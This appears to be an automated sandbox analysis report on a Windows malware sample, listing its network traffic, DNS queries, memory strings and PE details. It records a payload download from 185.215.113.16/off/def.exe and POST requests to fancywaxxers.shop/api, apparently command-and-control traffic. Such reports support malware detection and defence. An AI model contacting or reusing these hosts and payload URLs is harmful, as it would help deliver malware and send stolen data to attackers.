Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: fancywaxxers.shop
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop

Source: bzzF5OFbVi.exe, 00000000.00000003.2287867978.0000000000C07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: bzzF5OFbVi.exe, 00000000.00000003.2287867978.0000000000C07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/D
Source: bzzF5OFbVi.exe, 00000000.00000003.2287867978.0000000000C07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/c
Source: bzzF5OFbVi.exe, 00000000.00000002.2394427755.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000002.2394060917.00000000007FB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: bzzF5OFbVi.exe, 00000000.00000002.2394427755.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exer6
Source: bzzF5OFbVi.exe, 00000000.00000003.2143220787.000000000552C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: bzzF5OFbVi.exe, 00000000.00000003.2143220787.000000000552C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: bzzF5OFbVi.exe, 00000000.00000003.2143220787.000000000552C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: bzzF5OFbVi.exe, 00000000.00000003.2143220787.000000000552C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: bzzF5OFbVi.exe, 00000000.00000003.2143220787.000000000552C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: bzzF5OFbVi.exe, 00000000.00000003.2143220787.000000000552C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: bzzF5OFbVi.exe, 00000000.00000003.2143220787.000000000552C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: bzzF5OFbVi.exe, 00000000.00000003.2143220787.000000000552C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: bzzF5OFbVi.exe, 00000000.00000003.2143220787.000000000552C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_104.5.dr	String found in binary or memory: http://schema.org/Organization
Source: bzzF5OFbVi.exe, 00000000.00000003.2143220787.000000000552C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: bzzF5OFbVi.exe, 00000000.00000003.2143220787.000000000552C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: bzzF5OFbVi.exe, 00000000.00000003.2093134424.000000000550C000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093058193.000000000550F000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093245273.000000000550C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_104.5.dr, chromecache_92.5.dr, chromecache_128.5.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_104.5.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_104.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_104.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: bzzF5OFbVi.exe, 00000000.00000003.2146997296.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: bzzF5OFbVi.exe, 00000000.00000003.2093134424.000000000550C000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093058193.000000000550F000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093245273.000000000550C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: bzzF5OFbVi.exe, 00000000.00000003.2093134424.000000000550C000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093058193.000000000550F000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093245273.000000000550C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: bzzF5OFbVi.exe, 00000000.00000003.2093134424.000000000550C000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093058193.000000000550F000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093245273.000000000550C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: bzzF5OFbVi.exe, 00000000.00000003.2146997296.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: bzzF5OFbVi.exe, 00000000.00000003.2093134424.000000000550C000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093058193.000000000550F000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093245273.000000000550C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: bzzF5OFbVi.exe, 00000000.00000003.2093134424.000000000550C000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093058193.000000000550F000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093245273.000000000550C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: bzzF5OFbVi.exe, 00000000.00000003.2093134424.000000000550C000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093058193.000000000550F000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093245273.000000000550C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: bzzF5OFbVi.exe, 00000000.00000003.2162147285.00000000054E8000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2173533021.0000000000C17000.00000004.00000020.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2141348996.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2182058874.0000000000C17000.00000004.00000020.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2158336833.00000000054E8000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2140917014.00000000054F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/
Source: bzzF5OFbVi.exe, 00000000.00000003.2142218635.0000000000C17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/M
Source: bzzF5OFbVi.exe, 00000000.00000003.2209057262.00000000054EB000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2208948464.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/a
Source: bzzF5OFbVi.exe, 00000000.00000003.2208948464.00000000054E1000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2158336833.00000000054E8000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2141025258.00000000054DC000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2173657283.00000000054D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api
Source: bzzF5OFbVi.exe, 00000000.00000003.2208979410.00000000054D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apiCocW
Source: bzzF5OFbVi.exe, 00000000.00000003.2208979410.00000000054D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apia
Source: bzzF5OFbVi.exe, 00000000.00000003.2182058874.0000000000C17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/n
Source: bzzF5OFbVi.exe, 00000000.00000003.2173636934.00000000054DF000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2209057262.00000000054EB000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2172892208.00000000054E2000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2208948464.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/s
Source: bzzF5OFbVi.exe, 00000000.00000002.2394427755.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/apiMicrosoft
Source: chromecache_104.5.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_104.5.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_104.5.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_104.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_104.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_104.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_104.5.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_104.5.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_104.5.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_104.5.dr	String found in binary or memory: https://github.com/nschonni
Source: bzzF5OFbVi.exe, 00000000.00000003.2146997296.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_104.5.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_127.5.dr	String found in binary or memory: https://schema.org
Source: bzzF5OFbVi.exe, 00000000.00000003.2146195381.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: bzzF5OFbVi.exe, 00000000.00000003.2146195381.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_127.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: bzzF5OFbVi.exe, 00000000.00000003.2146997296.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: bzzF5OFbVi.exe, 00000000.00000003.2093134424.000000000550C000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093058193.000000000550F000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093245273.000000000550C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: bzzF5OFbVi.exe, 00000000.00000003.2093134424.000000000550C000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093058193.000000000550F000.00000004.00000800.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000003.2093245273.000000000550C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_106.5.dr, chromecache_127.5.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: bzzF5OFbVi.exe, 00000000.00000003.2146195381.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: bzzF5OFbVi.exe, 00000000.00000003.2146195381.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: bzzF5OFbVi.exe, 00000000.00000003.2146195381.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: bzzF5OFbVi.exe, 00000000.00000003.2146195381.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: bzzF5OFbVi.exe, 00000000.00000003.2146195381.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: bzzF5OFbVi.exe, 00000000.00000003.2146195381.00000000055EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714

Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49714 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: bzzF5OFbVi.exe	Static PE information: section name:
Source: bzzF5OFbVi.exe	Static PE information: section name: .idata
Source: bzzF5OFbVi.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe

Code function: 0_2_05EE4C01

0_2_05EE4C01

Source: bzzF5OFbVi.exe, 00000000.00000003.2263914766.0000000005979000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2238507425.0000000005978000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2238950014.0000000005B09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2248631585.0000000005A90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2234225452.000000000597C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2258013633.000000000597D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2238131024.0000000005A37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2259922133.000000000597D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2259039533.000000000597B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2242916311.0000000005A6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2252270843.0000000005A92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2236139029.0000000005980000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2243323594.0000000005A6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2235251619.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2241788986.0000000005A65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2233759303.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2241162235.000000000597A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2258700046.0000000005AB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2257850024.0000000005AA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2242491194.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2241325038.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2255798118.0000000005AA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
Source: bzzF5OFbVi.exe, 00000000.00000003.2237792372.0000000005976000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs bzzF5OFbVi.exe
